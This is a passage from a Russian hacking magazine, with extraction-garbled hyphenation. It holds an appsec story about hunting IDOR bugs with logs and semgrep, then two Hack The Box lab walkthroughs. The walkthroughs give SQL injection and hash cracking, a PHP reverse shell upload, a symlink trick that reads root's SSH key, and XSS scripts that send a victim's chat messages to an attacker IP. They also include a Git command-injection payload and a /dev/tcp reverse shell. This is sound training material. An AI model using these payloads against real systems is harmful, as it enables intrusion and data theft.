ния: от нулево го эта па с рас ширени ем повер хнос ти ата ки до про веде ния
слож ных SQL-инъ екций.

Дос таточ но про вес ти за этим набором нес коль ко часов, и ты осво ишь ся
с мно гими базовы ми прин ципами и нач нешь луч ше понимать про цесс тес- 
тирова ния веб-при ложе ний. Я счи таю, это отличная точ ка вхо да в ИБ, хотя,
конеч но, далеко не кноп ка «взло мать интернет».

https://t.me/CakesCats_com
https://www.acunetix.com/vulnerability-scanner/free-manual-pen-testing-tools/


Дмитрий Марюшкин
LinkedIn

ВЗЛОМ

IDOR — самый опас ный зверь в лесу
OWASP. Даже один экзем пляр, попав ший
не в те руки, может дорого обой тись ком- 
пании нашего инже нера, поэто му он
исполь зует все воз можнос ти, дос тупные
в его белом ящи ке, что бы обог нать на этой
охо те пен тесте ров, баг ханте ров и зло- 
умыш ленни ков.

ÄÅÉÑÒÂÓÞÙÈÅ ËÈÖÀ

Дмит рий — аппсек ком пании «Пузон Тех»•
Рам сель — баг хантер•
Ро ман — девопс-инже нер•
Игорь — QA-лид•

INFO

По прось бам выжив ших все име на были изме- 
нены. Из ува жения к погиб шим осталь ные
события были отоб ражены имен но так, как они
про исхо дили.

ÄÅÉÑÒÂÈÅ ÏÅÐÂÎÅ

Май ское утро, сол нце начина ет осве щать вер хушки деревь ев, поют соловьи.
Ком ната с дву хэтаж ной кро ватью и рабочим сто лом с дву мя монито рами
и ноут буком, по углам раз бро саны игрушки, кубики Lego зата ились, что бы
напасть на зазевав шуюся босую ногу, дверь запер та изнутри.

На сто ле сто ит круж ка кофе, от нее под нима ется струй ка аро мат ного пара.
В инбоксе по баг-баун ти-алер там одно новое сооб щение.

 Да что там еще, неуж то опять при нес ли пач ку уче ток сот рудни- 
ков со сти леров, не надо едает же им...

Äìèò ðèé:

 Вот вам IDOR в под твержде нии заказа, мож но получить имя,

адрес, телефон ваших кли ентов и кор зину, на скри не — дан ные про изволь- 
ного кли ента.

Ðàì ñåëü:

 О, неп лохо, но у нас же там UUID вез де в иден тифика торах, где

ты вооб ще взял этот ID?

Äìèò ðèé:

 Бро, а ты зацени веб-архив по вашему домену!Ðàì ñåëü:

 Да, валид ное. Надо бы поис кать у нас по логам все такие мес та.Äìèò ðèé:

 Всё есть, схо ди в ClickHouse, возь ми аксесс-логи по внеш ним
балан сирам.

Ðî ìàí:

***
Итак, у нас есть аксесс-логи при ложе ния, сто ит филь тра нуть по нашим
доменам, по response status < 300 и, воз можно, толь ко по авто ризо ван ным
поль зовате лям (что бы убрать мусор со ска неров).

Уже в скрип те отфиль тру ем ста тику.

За меним парамет ры  и  заг лушка ми и сгруп пиру ем по получен ному

пути, что бы в резуль тате оста лись толь ко уни каль ные руч ки.

path query

Обя затель но оста вим при меры сырых дан ных, они при годят ся даль ше.
В резуль тате из тра фика у нас получит ся CSV.

Да лее мы можем в этом фай ле отфиль тро вать резуль таты по колон кам 

и . Нам нуж но оста вить толь ко те зна чения, где будут наши заг лушки

для все го похоже го на токены или иден тифика торы объ ектов: , ,
 или . К это му филь тру впол не мож но добавить уже извес тные

нам наз вания чувс тви тель ных иден тифика торов, допус тим тот же ,

или , или еще что-нибудь.

path
args

{uuid} {hex}
{code} {int}

order_id
auth_token

Даль ше для отфиль тро ван ных подоз ритель ных ручек мож но взять сырые
зна чения иден тифика торов из  и , пре дус мотри- 

тель но сох ранен ные нами, скле ить их обратно в пол ный путь и спис ком ско- 
пиро вать в сло варик (Simple list) для Burp Intruder, под ста вив к сво ему GET-
зап росу с акту аль ными тес товыми кре дами (или вооб ще без них).

path_example args_example

Там, где в отве те нам вер нется что-то, кро ме 403, — повод пос мотреть, отда- 
ет ли сер вер чужие дан ные и что в коде эндпо инта авто риза ции.

***
Ак курат но соб рав с десяток ручек, отве тив ших валид ными дан ными на зап- 
росы, Дмит рий пошел искать пра виль ных раз работ чиков и заводить тикеты
на исправ ления.

И надо под нять вып лату Рам селю, мно го наш ли проб лем бла года ря его
репор ту.

ÄÅÉÑÒÂÈÅ ÂÒÎÐÎÅ

Прош ло две недели. Офис, рабочая встре ча в Zoom, все смот рят бес конеч- 
ный флоу онбордин га, и толь ко оди нокая муха, пол зущая по схе ме на монито- 
ре, кажет ся, понима ет, как ей стать кли ентом ком пании.

Опо веще ние от мес сен дже ра с тек стом «Новый репорт от Рам...» зас- 
тавля ет Дмит рия вый ти из оце пене ния и перек лючить ся на канал с баг-баун- 
ти-алер тами.

 При вет, сно ва я! Нашел у вас инте рес ную багу: при попыт ке

регис тра ции ком пании по ИНН или номеру телефо на, если ком пания у вас
уже в кли ентах, вы отда ете сущес тву ющий ID. Далее при обновле нии дан ных
в сво ем про филе, исполь зуя этот ID вмес то сво его, я получаю обновлен ный
объ ект ком пании с кон такта ми, адре сами, ссыл ками на S3 с учре дитель ными
докумен тами — кажет ся, все это не пуб личная информа ция...

Ðàì ñåëü:

 Ох, выг лядит как кри тич ная инфа, спа сибо! Дай нам вре мя

разоб рать ся...

Äìèò ðèé:

 Кста ти, а отку да у тебя ЛК? Это же воз можнос ти для биз- 
нес-поль зовате лей, куда не попасть без валида ции докумен тов юрли ца
нашим бэк-офи сом...

Äìèò ðèé:

 Так ИП мне не толь ко что бы вып латы получать!Ðàì ñåëü:

***
Бы ло чувс тво, что в прош лый раз, прой дясь по GET-руч кам с парамет рами,
мы зря пре неб регли осталь ным тра фиком. Тут у Рам селя получи лось най ти
IDOR в POST-зап росе, и ни энтро пия в UUID, ни отсутс твие UUID в логах нас
не спас ли. Будем думать, как нам поис кать и такие проб лемы.

Вне зап но у нас с фрон та на бэк всё летит в GraphQL, и нам лег ко зацепить
из схе мы GQL все Input-парамет ры пра вилом для semgrep.

Пра вило находит нуж ный нам параметр и воз вра щает его в  (на

самом деле в JSON-репор те — в метапе ремен ных, отку да их про ще дос тать
через jq).

message

Соб рав все уни каль ные парамет ры на вхо де, мы можем отфиль тро вать толь- 
ко то, что похоже на какой-то вари ант ID, и добавить в пра вило регуляр ку,
которая будет находить имя парамет ра.

Пос ле чего пра вило нач нет воз вра щать нам толь ко инпу ты с потен циаль но
проб лемны ми ID в полях.

Ес ли меж ду фрон том и бэком летит gRPC или REST, мы с тем же успе хом
можем насоби рать пра вило, которое будет пар сить Protobuf или YML-сваг гер
фай ла.

Да лее нам нуж но най ти хен дле ры, в которые при зем ляют ся най ден ные
модель ки из GraphQL. Поиск в репози тории по име ни най ден ной модель ки
быс тро при водит нас в хен длер, отве чающий за обра бот ку зап роса.

Пос мотрев нес коль ко хен дле ров и рас курив, как вызыва ется про вер ка
авто риза ции, мы можем сос тавить еще одно прос тое пра вило для semgrep,
что бы получить спи сок всех хен дле ров без авто риза ции.

Те перь оста лось пересечь получен ный вна чале спи сок инпу тов с парамет- 
рами и спи сок хен дле ров без упо мина ния авто риза ции. Нем ного магии баша,
и у нас готов шорт-лист проб лемных фун кций.

***
Прот риажив най ден ное, Дмит рий убрал нес коль ко хен дле ров, где про вер ки
все-таки были закопа ны глуб же, и зарепор тил осталь ное.

 Вижу, ты закон чил. Вре мя ска зать, что, кажет ся, ты нем ного

стра даешь фиг ней с маги ей баша, поп робуй наш , он как раз поз- 
воля ет пересечь два детек та из раз ных пра вил и раз ных фай лов про екта
через метапе ремен ные, и он пока в OSS-вер сии.

Semgrep:

join mode

 Прос то бом ба, где ж ты был рань ше, я уже всё руками пересек

и зарепор тил...

Äìèò ðèé:

 Ну дак добавь join-пра вила в регуляр ные ска ны!Semgrep:

 О, точ но, а у нас есть регуляр ные ска ны?!Äìèò ðèé:

ÄÅÉÑÒÂÈÅ ÒÐÅÒÜÅ

Офис ком пании, кух ня, обед. В мик ровол новках кру жат ся домаш ние кот летки
и фар широван ные пер чики, рас простра няя зло воние. В оче реди у кофе-пой- 
нта про исхо дит диалог.

 О, Дим, при вет! Слы шал, нас опять хороше неч ко обнесли

на баг-баун ти, даже добавил сво им ребятам плюс на сле дующем ревью
за каж дый най ден ный авто тес тами IDOR.

Èãîðü:

 Да не говори, но спа сибо, что на баг-баун ти, а не в РКБ...

Хотел как раз дой ти до тебя, думаю, как нам в тес товом кон туре встро ить
какую-нибудь прок сю, которая бы про пус кала через себя весь тра фик и сгру- 
жала мне запол ненные дан ными зап росы, а я бы ими потом стре лял в ту же
сто рону со сво ими кре дами, и там, где у меня в отве тах не «403 Руки свои
убрал, это чужое!», генерил бы алерт и раз бирал ся...

Äìèò ðèé:

 А ты глянь на наши E2E-тес ты, там, кажет ся, всё, что тебе нуж но,

что бы обой тись без прок си...

Èãîðü:

***
А ведь и прав да, сред ний E2E-тест у наших QA выг лядит при мер но так:

за вес ти поль зовате ля с нуж ными ролями;•
за вес ти объ екты, дотол кать их до нуж ного биз нес-сце нарию сос тояния;•
прог нать пос ледова тель ность биз нес-сце нария;•
уда лить поль зовате ля и объ екты.•

Выг лядит, что, если соб рать тра фик с авто тес та и даль ше с какой-нибудь дос- 
таточ ной задер жкой его исполь зовать, мы уже не зас танем в базе ни поль- 
зовате ля, ни его объ ектов.

Поп робу ем для начала соб рать все вари ации парамет ров в зап росах
на соз дание поль зовате лей, таким обра зом мы получим все вари анты ролей
и типов кли ентов.

Даль ше най дем в коде авто тес тов фун кцию-обер тку, через которую тес ты
ходят в API.

Про буем про верить, есть ли в дик те с дан ными зап роса что-то похожее на ID
(вспом ним про регуляр ку поис ка ID в парамет рах для semgrep).

Ес ли находим, то даль ше вмес то одно го зап роса пош лем два: пер вый зап- 
рос со вход ными дан ными, при летев шими из авто тес та, но с ран домным
поль зовате лем из соб ранных ранее.

Ес ли пер вый зап рос воз вра щает ошиб ку в ста тусе 403 или какой-то извес- 
тный нам текст ошиб ки в теле, счи таем это нор мой и шлем вто рой зап рос уже
с кре дами валид ного поль зовате ля, при летев шего из авто тес та.

И если пер вый зап рос воз вра щает код 200, мы пада ем с ошиб кой и тест
фей лит ся, отда вая проб лему в QA на раз бор.

Те перь для сущес тву юще го и для любого соз данно го далее авто тес та мы
авто матом про верим IDOR’ы.

***
Во оду шев ленный най ден ным кра сивым решени ем, Дмит рий засел за ресерч
и тес тирова ние нового метода, будущее казалось ему свет лым и радос тным.

 Ты толь ко имей в виду, что у нас пок рытие авто тес тами хорошее,
но не 100% и тес ты могут доез жать с боль шой задер жкой пос ле появ ления
фич, так что, воз можно, кро ме это го, сто ило бы дой ти до раз работ ки
и подумать, как боль ше не дать раз работ чику оши бить ся там, где он сей час
оши бает ся.

Èãîðü:

 Да, кажет ся, есть повод вмес те подизай нить какую-то общую

пуленеп робива емую мид лварь, в которой все извес тные нам ID во вхо дящих
зап росах типизи рова ны. Мид лварь, видя в схе ме соот ветс тву ющий тип ID,
будет узна вать, как его про верить на соот ветс твие поль зовате лю из текущей
сес сии, а нетипи зиро ван ные парамет ры, похожие на ID, будут давать фейл.

Äìèò ðèé:

Но это, кажет ся, тема для чет верто го дей ствия...

https://www.linkedin.com/in/dmarushkin/
https://semgrep.dev/docs/writing-rules/experiments/join-mode/overview
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ВЗЛОМ

Се год ня я покажу, как рас кру тить SQL-инъ- 
екцию в фор ме сбро са пароля и получить
учет ные дан ные. Затем про экс плу ати руем
уяз вимость RCE через заг рузку веб-шел ла
в фрей мворк Laravel. Для повыше ния при- 
виле гий исполь зуем уяз вимость в при ложе- 
нии для бэкапов.

На ша цель — получе ние прав супер поль зовате ля на машине Usage с учеб ной
пло щад ки . Уро вень задания — лег кий.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
Сна чала добавим IP-адрес машины в файл :/etc/hosts

10.10.11.18    usage.htb 

За тем запус тим ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
22 — служ ба OpenSSH 8.9p1;•
80 — веб-сер вер Nginx 1.18.0.•

На SSH, не имея учет ных дан ных, нам пока делать нечего, поэто му сос- 
редото чим ся на веб-сер вере. Для начала выяс ним, какие на сай те исполь- 
зуют ся тех нологии. Это удоб но делать с помощью сер виса . Он ана- 
лизи рует веб-стра ницу и пыта ется опре делить, какие CMS, веб-сер веры,
язы ки прог рамми рова ния, фрей мвор ки и дру гие тех нологии исполь зуют ся
на сай те.

WhatWeb

За пус тим WhatWeb и переда дим ему IP-адрес целево го сер вера:

whatweb http://10.10.11.18 

Ре зуль тат работы скрип та

Ре зуль таты ска ниро вания показы вают, что веб-сайт исполь зует Laravel —
популяр ный PHP-фрей мворк, который широко при меня ется для раз работ ки
веб-при ложе ний. Это важ ная информа ция, так как в слу чае уяз вимос тей
в Laravel мы смо жем их исполь зовать для даль нейшей ата ки.

Кро ме того, на сай те нас тро ен редирект на домен .usage.htb
На сай те мы видим стан дар тную фор му авто риза ции с воз можностью

регис тра ции новых поль зовате лей.

Фор ма авто риза ции

ÒÎ×ÊÀ ÂÕÎÄÀ

При попыт ке перей ти на стра ницу Admin ( ) мы стал кива емся с ошиб- 

кой Unknown host.

/admin

Ошиб ка Unknown host

Это про исхо дит из-за того, что наш локаль ный DNS не зна ет о сущес тво вании
под домена . Что бы испра вить это, нуж но обно вить запись

в фай ле /etc/hosts:

admin.usage.htb

10.10.11.18 usage.htb admin.usage.htb 

Пос ле это го перезаг ружа ем стра ницу, и перед нами откры вает ся глав ная
стра ница адми нис тра тор ской панели.

Глав ная стра ница admin.usage.htb

В поис ках точ ки вхо да перехо дим к тес тирова нию фун кции вос ста нов ления
пароля на стра нице . Это потен циаль ная точ ка для про- 

веде ния SQL-инъ екции.

/forget-password

Справка: SQL-инъекции и sqlmap
 — это тип уяз вимос ти, при котором зло умыш ленник может

внед рить про изволь ный SQL-код в зап рос к базе дан ных через поль зователь- 
ский ввод. Это может поз волить прос матри вать, изме нять или уда лять дан- 
ные из базы дан ных, а так же иног да получать дос туп к опе раци онной сис теме.
Что бы най ти воз можность про вес ти SQL-инъ екцию, при тес тирова нии при- 
ложе ний отправ ляют спе циаль ные сим волы и пос ледова тель нос ти через про- 
веря емое поле и смот рят реак цию сер вера. Если сер вер отве чает ина че
на опре делен ные сим волы, это может сви детель ство вать о наличии уяз- 
вимос ти.

SQL-èíú åêöèÿ

 — это мощ ный инс тру мент для авто мати зации про цес са экс плу-

ата ции SQL-инъ екций. Он поз воля ет авто мати чес ки обна ружи вать и исполь- 
зовать уяз вимос ти, под бирать пароли, извле кать дан ные и выпол нять коман- 
ды на сер вере.

Sqlmap

.

Ïîä ðîáíåå ÷èòàé â ñòàòüå «

»

SQL-èíú åêöèè. Ðàç áèðà åì íà ïàëü- 

öàõ îäíó èç ñàìûõ ïîïóëÿð íûõ õàêåð ñêèõ òåõ íèê

Прос мотрим зап рос на сер вер в .Burp History

Зап рос на вос ста нов ление пароля

Те перь будем переби рать раз ные пос ледова тель нос ти сим волов. Если сер- 
вер отре аги рует каким-то необыч ным обра зом, это даст нам нап равле ние
для даль нейших иссле дова ний.

Для перебо ра перенап равим зап рос ком бинаци ей кла виш Ctrl-I в Burp
Intruder.

Burp Intruder — вклад ка Positions

Burp Intruder — резуль тат ата ки

В ито ге получа ем нес коль ко типич ных для SQL injection наг рузок. Про дол жаем
про вер ку SQL-инъ екции, и сре ди UNION-наг рузок, опре деля ющих количес тво
стол бцов в таб лице, все го одна дает отличный от осталь ных наг рузок резуль- 
тат. Так мы понима ем, что в таб лице семь стол бцов, а уяз вимость на сай те
при сутс тву ет.

Про вер ка наг рузок для SQL-инъ екции

Поп робу ем авто мати зиро вать экс плу ата цию уяз вимос ти.

SQL-èíúåêöèÿ
Сох раним зап рос из Burp History в файл , пос ле чего переда дим файл

прог рамме sqlmap в парамет ре . Так же в парамет ре  ука жем уяз вимый
POST-параметр  и зап росим базы дан ных на сер вере ( ). Спус тя

пол часа sqlmap опре делил уяз вимость, подоб рал наг рузку и нашел сущес тву- 
ющие базы дан ных.

r.txt
-r -p

email --dbs

  5 10 sqlmap -r r.txt -p email --batch --level --thread= --dbs

Наг рузка sqlmap

Спи сок баз дан ных

Сре ди пред став ленных баз дан ных нам нуж на поль зователь ская .
Получим таб лицы ( ) из этой базы ( ).

usage_blog
--tables -D

  5 10 sqlmap -r r.txt -p email --batch --level --thread= -D usage_blog 
--tables

Таб лицы в базе usage_blog

На иболь ший инте рес пред став ляет таб лица . Выг рузим из этой
таб лицы ( ) все дан ные ( ).

admin_users
-T --dump

  5 10 sqlmap -r r.txt -p email --batch --level --thread= -D usage_blog 
-T admin_users --dump

Со дер жимое таб лицы admin_users

Так мы получа ем все го один хеш пароля адми нис тра тора. Судя по виду,
исполь зован алго ритм хеширо вания bcrypt. Опре делить соот ветс тву ющий
режим hashcat мож но, поис кав сло во bcrypt в справ ке ути литы.

 | hashcat -h grep bcrypt 

Ре жимы для алго рит мов hashcat

Те перь мы зна ем, что нам нужен режим 3200, и мы можем запус тить под бор
пароля. Для это го будем исполь зовать популяр ный сло варь .
Перебор зай мет все го пару минут.

rockyou.txt

hashcat -m 3200 hash rockyou.txt 

Ре зуль тат под бора пароля

С получен ными логином и паролем авто ризу емся в админке сай та.

Глав ная стра ница адми на сай та

На стра нице Dashboard мож но уви деть спи сок исполь зуемых тех нологий.

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/urbanadventurer/WhatWeb
https://xakep.ru/2024/02/15/sqli/
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И АТАКУЕМ LARAVEL

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

Те перь нам извес тна точ ная вер сия фрей мвор ка Laravel и мы можем про- 
верить, сущес тву ют ли для нее уяз вимос ти. Про ще все го для это го поис кать
в Google.

По иск экс пло ита в Google

Эта вер сия фрей мвор ка уяз вима к выпол нению про изволь ного кода через
некон тро лиру емую заг рузку фай лов на стра нице парамет ров поль зовате ля
( ). Это поз волит нам заг рузить PHP-шелл.CVE-2023-24249

Справка: реверс-шелл
Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, запус тивше го шелл. Для при ема соеди нения
необ ходимо соз дать на локаль ной машине listener, то есть «слу шатель».

За пус каем лис тенер:

pwncat-cs -lp 4321 

И заг ружа ем  в фор мате JPG, пред варитель но уста новив
свои дан ные для под клю чения к лис тенеру.

php-reverse-shell

Заг рузка PHP-шел ла

От лавли ваем зап рос в Burp Proxy и добав ляем к име ни заг ружа емо го фай ла
еще одно рас ширение ..php

Из менение зап роса в Burp Proxy

Стра ница с заг ружен ным шел лом

Те перь перехо дим к заг ружен ному фай лу и в логах лис тенера видим кон нект
от реверс-шел ла. Таким обра зом получа ем сес сию на хос те и забира ем пер- 
вый флаг.

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ

В домаш нем катало ге поль зовате ля есть файл , в котором находим

учет ные дан ные поль зовате ля .

.monitrc
admin

Со дер жимое домаш него катало га поль зовате ля

Со дер жимое фай ла .monitrc

Эти учет ные дан ные могут быть полез ны для даль нейше го прод вижения. Про- 
верим, к каким поль зовате лям они подой дут. Получим спи сок поль зовате лей
с активной коман дной обо лоч кой из фай ла ./etc/passwd

bash cat /etc/passwd | grep 

Ак тивные поль зовате ли

Поль зователь dash у нас уже есть, поэто му про буем под клю чить ся как поль- 
зователь xander.

Сес сия поль зовате ля xander

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе будет мно го информа ции, но нам здесь инте рес ны
толь ко нас трой ки sudoers.

Нас трой ки sudoers

Ви дим, что мы можем запус тить файл  от име ни

поль зовате ля root без вво да пароля. Ско рее все го, это мож но будет исполь- 
зовать. Давай пос мотрим, что это за файл.

/usr/bin/usage_management

file /usr/bin/usage_management 

Фор мат фай ла

Это ском пилиро ван ная бинар ная ути лита, а зна чит, ее ана лиз будет нем ного
слож нее, нежели скрип та на Bash или на Python. При запус ке прог раммы нам
пред ложат выб рать один из трех вари антов.

За пуск прог раммы

Сто ит про верить, что будет про исхо дить в сис теме при работе этой прог- 
раммы. Для отсле жива ния вновь запус каемых про цес сов будем исполь зовать
ути литу . Логиним ся по SSH в новой кон соли, запус каем pspy64,

а затем выбира ем пер вую фун кцию в иссле дуемом при ложе нии. В логах
pspy64 тут же отоб разит ся стран ный про цесс.

pspy64

Ло ги pspy64

Ути лита вызыва ет через коман дную обо лоч ку архи ватор 7za. Исполь зуем ути- 
литу  для получе ния всех строк из фай ла.strings

Стро ки из фай ла usage_management

Ви димо, перед выпол нени ем коман ды  рабочий каталог меня ется на 

. В аргу мен тах  инте рес на пос ледова тель ность парамет ров 
. Параметр  озна чает, что все пос леду ющие «сло ва» будут вос при нимать- 

ся не как парамет ры, а толь ко как пути к фай лам.

7za var/
www/html/ 7za -- 
* --

По луча ется, что если мы соз дадим в катало ге  файл
 и сим линк  на ключ , то  будет вос при- 

нимать  как спи сок фай лов. А при попыт ке про читать каж дую стро ку

из  как файл архи ватор будет выводить сооб щение об ошиб ке, содер- 
жащее эту стро ку. Таким обра зом мы получим все содер жимое при ват ного
клю ча поль зовате ля root.

/var/www/html/
@id_rsa id_rsa /root/.ssh/id_rsa 7za

id_rsa
id_rsa

cd /var/www/html/ 
touch @id_rsa 

 ln -s /root/.ssh/id_rsa id_rsa 

sudo /usr/bin/usage_management 

За пуск при ложе ния

Ошиб ка чте ния фай лов

Как и пред полага лось, мы получа ем все содер жимое фай ла по ссыл ке.
Перепе чаты ваем ключ и заходим по SSH как поль зователь root.

Флаг рута

Ма шина зах вачена!

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-24249
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
https://github.com/carlospolop/PEASS-ng
https://github.com/DominicBreuker/pspy


RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

Се год ня мы с тобой про экс плу ати руем XSS
в чат-боте, что бы получить перепис ку дру- 
гого поль зовате ля. Затем получим дос туп
в сис тему через RCE-уяз вимость в ути лите
Simple Git и ском про мети руем LibreNMS
для прод вижения к дру гим поль зовате лям.
Для повыше ния при виле гий исполь зуем
уяз вимость в LibreOffice.

На ша цель — получе ние прав супер поль зовате ля на машине FormulaX с учеб- 
ной пло щад ки . Уро вень задания — слож ный.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.6    formulax.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел все го два откры тых пор та:
22 — служ ба OpenSSH 8.9p1;•
80 — веб-сер вер Nginx 1.18.0.•

На сай те нас встре чает фор ма авто риза ции.

Фор ма авто риза ции

ÒÎ×ÊÀ ÂÕÎÄÀ

На сай те мож но зарегис три ровать ся. Так как залоги нен ному поль зовате лю
дос тупно боль ше фун кций, зна чит, будет боль ше и область тес тирова ния.
Регис три руем ся и авто ризу емся. На глав ной стра нице видим приг лашение
початить ся с ботом.

Глав ная стра ница сай та

На бира ем , что бы пос мотреть справ ку, и видим толь ко одну дос тупную

коман ду — , которая отоб ража ет исто рию сооб щений.

help
history

Чат с ботом

Пос тро енная в Burp кар та сай та содер жит нес коль ко инте рес ных фай лов
JavaScript. Сре ди них — , который как раз и дает воз можность

общать ся с ботом.

chat.js

Со дер жимое фай ла chat.js

Ку да инте рес нее его поведе ние при вво де коман ды . Скрипт про- 

бежит ся по сооб щени ям поль зовате ля на стра нице и вста вит их заново в код
стра ницы.

history

Со дер жимое фай ла chat.js

Та кое поведе ние очень опас но, так как мы можем отпра вить в сооб щении
про изволь ный код и внед рить его на стра ницу коман дой .history

За пус тим локаль ный веб-сер вер:

python3 -m http.server 80 

А теперь отпра вим боту базовую наг рузку XSS:

 <img src="http://10.10.16.143"/>

И выпол ним коман ду .history

Чат с ботом

Ло ги веб-сер вера

На веб-сер вер при шел зап рос, а зна чит, у нас есть XSS. Оста лось зас тавить
бота исполнять код. Воз можно, в этом поможет фор ма свя зи с адми нис тра- 
тором.

Стра ница Contact to Admin

XSS
Ес ли есть одна XSS, воз можно, най дет ся и дру гая. Отпра вим наг рузку адми- 
нис тра тору — и поч ти сра зу получим зап рос на свой веб-сер вер.

 <img src="http://10.10.16.143/test_xss"/>

Ло ги веб-сер вера

На поис ки сле дующе го шага для прод вижения я пот ратил око ло часа. Попыт- 
ки украсть куки и дру гих сес сион ных дан ных ни к чему не при вели, одна ко есть
еще одно мес то, где мож но най ти информа цию, — перепис ка адми нис тра- 
тора с ботом.

При написа нии наг рузки вос поль зуем ся скрип том . За осно ву
возь мем дей ствия при обра бот ке коман ды , но вмес то добав ления

сооб щений на стра ницу будем кодиро вать их в Base64 и отправ лять на свой
веб-сер вер.

chat.js
history

 let value2;
   const res2 = axios.get(`/user/api/chat`);
    const socket2 = io('/',{withCredentials: true});

   socket2.on('message', (my_message) => {
      fetch("http://10.10.16.143/?data=" + btoa(my_message) );
})

     const typing_chat2 = () => {
   value2 = 'history';
  if (value2) {
    socket2.emit('client_message', value2)
   Show_messages_on_screen_of_Client(value2);
     document.getElementById('user_message').value2 = ""
 }
  else {
   alert("Cannot send Empty Messages");
 }
}

typing_chat2()

Скрипт будем заг ружать уда лен но со сво его веб-сер вера. Для добав ления
скрип та с уда лен ного сер вера вос поль зуем ся методом .

Но кро ме сво его кода, так же добавим и необ ходимый . Таким
обра зом, адми нис тра тору сай та необ ходимо отпра вить сле дующую наг рузку.

body.appendChild
socket.io.js

  
" 

<img src=x onerror="body.appendChild(createElement('script')).src='/
socket.io/socket.io.js'"></img>

  
" 

<img src=x onerror="body.appendChild(createElement('script')).
src='http://10.10.16.143/r.js'"></img>

Ло ги веб-сер вера

Ос талось декоди ровать эксфиль тро ван ные сооб щения, и находим новый
ресурс — .dev-git-auto-update.chatbot.htb

Де коди рован ные сооб щения

Об новля ем запись в фай ле  и идем смот реть новый сер вис./etc/hosts

10.10.11.6 formulax.htb dev-git-auto-update.chatbot.htb 

Глав ная стра ница dev-git-auto-update.chatbot.htb

ÒÎ×ÊÀ ÎÏÎÐÛ

Вни зу стра ницы видим, что исполь зует ся Simple Git v3.14. Пер вым делом сто- 
ит про верить, есть ли для этой вер сии готовые экс пло иты. Сна чала ищем
в Google.

По иск экс пло итов в Google

 ведет к PoC для уяз вимос ти CVE-2022-24066. Встре чен ная
нами вер сия уяз вима к уда лен ному исполне нию кода (RCE), а экс плу ата ция
про исхо дит путем внед рения коман ды.

Пер вая ссыл ка

Опи сание уяз вимос ти

Сно ва запус тим веб-сер вер:

python3 -m http.server 80 

И про верим наличие уяз вимос ти, обра тив шись к сво ему сер веру через curl.
Для это го отпра вим наг рузку в пред ложен ную фор му.

ext::sh -c curl% http://10.10.16.143/test_rce 

Ло ги веб-сер вера

Зап рос при шел на сер вер, а зна чит, уяз вимость есть и мы можем выпол нить
реверс-шелл, который под клю чит ся к нашему лис тенеру.

За пус каем лис тенер:

pwncat-cs -lp 4321 

Те перь выпол няем реверс-шелл:

 /bin/bash -i >& /dev/tcp/10.10.16.143/4321 0>&1 

Ни чего не получи лось, поэто му сох раним шелл в файл , а на уда лен ном
сер вере зап росим его через curl и выпол ним в Bash.

r.sh

